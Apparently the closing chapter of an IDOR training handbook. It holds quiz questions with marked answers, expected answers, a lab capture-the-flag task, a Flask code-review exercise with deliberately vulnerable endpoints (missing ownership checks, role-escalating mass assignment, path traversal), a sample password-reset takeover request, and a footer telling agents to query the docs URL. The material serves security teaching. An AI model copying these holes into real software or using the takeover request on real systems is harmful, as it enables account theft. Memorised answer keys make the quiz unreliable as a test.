- A) A03: Injection
- B) A07: Identification and Authentication Failures
- C) A01: Broken Access Control ✅
- D) A02: Cryptographic Failures

**Q3.** Which of the following is an example of horizontal IDOR?
- A) A regular user accessing admin settings
- B) A user viewing another user's profile at the same privilege level ✅
- C) An unauthenticated user accessing a login page
- D) A user changing their own password

**Q4.** Does using UUIDs instead of sequential integers fix IDOR?
- A) Yes, completely
- B) Yes, if combined with encoding
- C) No, it only adds obscurity but doesn't fix the root cause ✅
- D) Only for GET requests

**Q5.** Which HTTP status code typically indicates that authorization is properly enforced?
- A) 200 OK
- B) 401 Unauthorized
- C) 403 Forbidden ✅
- D) 500 Internal Server Error

**Q6.** In the request `GET /api/orders/5002`, what is the IDOR-relevant parameter?
- A) The HTTP method (GET)
- B) The path segment "api"
- C) The path segment "5002" ✅
- D) The entire URL

**Q7.** What is the primary difference between authentication and authorization?
- A) Authentication verifies identity; Authorization verifies permissions ✅
- B) They are the same thing
- C) Authentication uses passwords; Authorization uses cookies
- D) Authorization happens before authentication

**Q8.** Which of the following is the BEST fix for IDOR?
- A) Use Base64 encoding for all IDs
- B) Implement rate limiting
- C) Server-side authorization checks validating resource ownership ✅
- D) Use POST instead of GET requests

**Q9.** What type of IDOR allows a regular user to access admin resources?
- A) Horizontal IDOR
- B) Vertical IDOR ✅
- C) Diagonal IDOR
- D) Circular IDOR

**Q10.** Which Burp Suite extension is specifically designed for automated IDOR testing?
- A) SQLMap
- B) Autorize ✅
- C) Intruder
- D) Scanner

## 13.2 Short Answer Questions

**Q11.** Explain why returning a 404 instead of a 403 for unauthorized access is considered a security best practice.

**Expected Answer:** Returning 403 confirms that the resource EXISTS but the user doesn't have access. This information can be used for enumeration. Returning 404 makes it ambiguous — the attacker can't tell if the resource doesn't exist or if they don't have access.

**Q12.** A developer argues: "We use UUIDs, so IDOR is impossible." Write a response explaining why they're wrong.

**Expected Answer:** UUIDs make it harder to guess IDs, but they don't prevent IDOR. UUIDs can leak through various channels (URLs, emails, API responses, logs, referrer headers). If an attacker obtains a UUID through any means, the lack of authorization checks means they can access the resource. Security by obscurity is not a valid defense. Server-side authorization checks are still required.

**Q13.** List five locations in an HTTP request where object identifiers might be found.

**Expected Answer:** (Any five of) URL path, query parameters, request body, HTTP headers, cookies, multipart form data, GraphQL variables, WebSocket messages.

**Q14.** Describe a scenario where an IDOR vulnerability could lead to a complete account takeover.

**Expected Answer:** (Example) An IDOR in a password reset endpoint: `POST /api/reset-password {"user_id": 1002, "new_password": "hacked"}`. The attacker changes the user_id to the victim's ID, changing their password and gaining full account access.

**Q15.** What is an "Indirect Object Reference" and how does it help prevent IDOR?

**Expected Answer:** An indirect object reference maps a random, user-specific token to the actual resource ID on the server side. Each user gets their own set of tokens that only work for them. Even if an attacker discovers a token, it won't resolve to any resource in their context.

## 13.3 Practical Exercises

**Exercise 1 (Beginner):**
Given this endpoint: `GET /api/invoices/INV-2024-001`, describe step-by-step how you would test it for IDOR.

**Exercise 2 (Intermediate):**
Write a secure version of this vulnerable code:
```python
@app.route('/api/messages/<int:msg_id>')
def get_message(msg_id):
    msg = db.query(Message).get(msg_id)
    return jsonify(msg.to_dict())
````

**Expected Answer:**

```python
@app.route('/api/messages/<int:msg_id>')
@login_required
def get_message(msg_id):
    msg = db.query(Message).filter(
        Message.id == msg_id,
        (Message.sender_id == session['user_id']) | 
        (Message.receiver_id == session['user_id'])
    ).first()
    
    if not msg:
        return jsonify({'error': 'Message not found'}), 404
    
    return jsonify(msg.to_dict())
```

**Exercise 3 (Advanced):** Design an access control middleware that can be reused across all endpoints in a Flask application to prevent IDOR. Include support for:

* Resource ownership checks
* Role-based access (admin can access all)
* Logging of unauthorized access attempts

**Exercise 4 (Capture the Flag):** Using the lab application from Chapter 6:

1. Login as "alice" (password: password123)
2. Find and access bob's SSN
3. Find and read the confidential message between charlie and admin
4. Escalate alice's role to admin
5. Download the admin\_credentials.txt document Document each step with the exact HTTP requests used.

### 13.4 Code Review Exercise

**Instructions:** Find ALL IDOR vulnerabilities in this code:

```python
@app.route('/api/v1/users/<int:uid>/orders', methods=['GET'])
@login_required
def get_user_orders(uid):
    orders = Order.query.filter_by(user_id=uid).all()  # Bug 1: No ownership check
    return jsonify([o.to_dict() for o in orders])

@app.route('/api/v1/orders/<int:oid>/refund', methods=['POST'])
@login_required
def refund_order(oid):
    order = Order.query.get(oid)  # Bug 2: No ownership check
    order.status = 'refunded'
    order.refund_to = request.json.get('account')  # Bug 3: Refund to any account
    db.session.commit()
    return jsonify({'message': 'Refund processed'})

@app.route('/api/v1/users/<int:uid>/address', methods=['PUT'])
@login_required
def update_address(uid):
    user = User.query.get(uid)  # Bug 4: No ownership check
    user.address = request.json['address']
    user.phone = request.json.get('phone', user.phone)  # Bug 5: Mass assignment
    user.role = request.json.get('role', user.role)  # Bug 5: Role escalation
    db.session.commit()
    return jsonify({'message': 'Updated'})

@app.route('/api/v1/files/<path:filepath>', methods=['GET'])
@login_required
def download_file(filepath):
    return send_file(f'/uploads/{filepath}')  # Bug 6: Path traversal + IDOR
```

**Expected Answers:**

1. **Line 3:** No check if `uid` matches `session['user_id']`
2. **Line 8:** No check if the order belongs to the current user
3. **Line 9:** Refund can be directed to any account
4. **Line 15:** No check if `uid` matches the current user
5. **Lines 17-18:** Mass assignment allows role escalation
6. **Line 22:** Path traversal combined with no ownership check on files

### 13.5 Grading Rubric

| Component                | Points  | Criteria                         |
| ------------------------ | ------- | -------------------------------- |
| Multiple Choice (Q1-Q10) | 20      | 2 points each                    |
| Short Answer (Q11-Q15)   | 25      | 5 points each                    |
| Practical Exercise 1     | 10      | Complete methodology             |
| Practical Exercise 2     | 15      | Correct secure code              |
| Practical Exercise 3     | 15      | Complete middleware design       |
| Code Review Exercise     | 15      | All 6 bugs identified with fixes |
| **Total**                | **100** |                                  |

***

## Appendix A: Recommended Resources

### Books

* "The Web Application Hacker's Handbook" by Dafydd Stuttard
* "OWASP Testing Guide v4"
* "API Security in Action" by Neil Madden

### Online Labs

* [PortSwigger Web Security Academy](https://portswigger.net/web-security/access-control) — Free
* [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)
* [HackTheBox](https://www.hackthebox.com/)
* [TryHackMe — IDOR Room](https://tryhackme.com/)
* [PentesterLab](https://pentesterlab.com/)

### Videos & Talks

* OWASP Conference talks on Broken Access Control
* Bug bounty hunter writeups on YouTube (STÖK, NahamSec, InsiderPhD)
* LiveOverflow — Web Security Series

### Standards & References

* [OWASP Top 10 — A01:2021](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [CWE-639](https://cwe.mitre.org/data/definitions/639.html)
* [OWASP ASVS — V4: Access Control](https://owasp.org/www-project-application-security-verification-standard/)
* [NIST SP 800-53 — Access Control Family](https://nvd.nist.gov/800-53)

***

## Appendix B: Glossary

| Term                                | Definition                                                                 |
| ----------------------------------- | -------------------------------------------------------------------------- |
| **IDOR**                            | Insecure Direct Object Reference — accessing objects without authorization |
| **Authentication (AuthN)**          | Verifying WHO the user is                                                  |
| **Authorization (AuthZ)**           | Verifying WHAT the user can do                                             |
| **Horizontal Privilege Escalation** | Accessing another user's resources at the same level                       |
| **Vertical Privilege Escalation**   | Accessing higher-privilege resources                                       |
| **Object Reference**                | An identifier used to access a specific resource                           |
| **Direct Reference**                | Using the actual identifier (database ID, file path)                       |
| **Indirect Reference**              | Using a mapped token instead of the real identifier                        |
| **BOLA**                            | Broken Object Level Authorization (API-specific term for IDOR)             |
| **BFLA**                            | Broken Function Level Authorization (vertical IDOR in APIs)                |
| **RLS**                             | Row-Level Security — database-level access control                         |
| **RBAC**                            | Role-Based Access Control                                                  |
| **ABAC**                            | Attribute-Based Access Control                                             |
| **OWASP**                           | Open Web Application Security Project                                      |
| **CWE**                             | Common Weakness Enumeration                                                |
| **CVSS**                            | Common Vulnerability Scoring System                                        |

***

**⚖️ Legal Reminder:** Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the US, the Computer Misuse Act in the UK, and similar laws worldwide. Always obtain written permission before testing.

***

*End of IDOR Handbook — Version 1.0* *For educational use in authorized security training programs*


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://potdf.gitbook.io/bug-hunt-book/learning/insecure-direct-object-references-idor-handbook.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
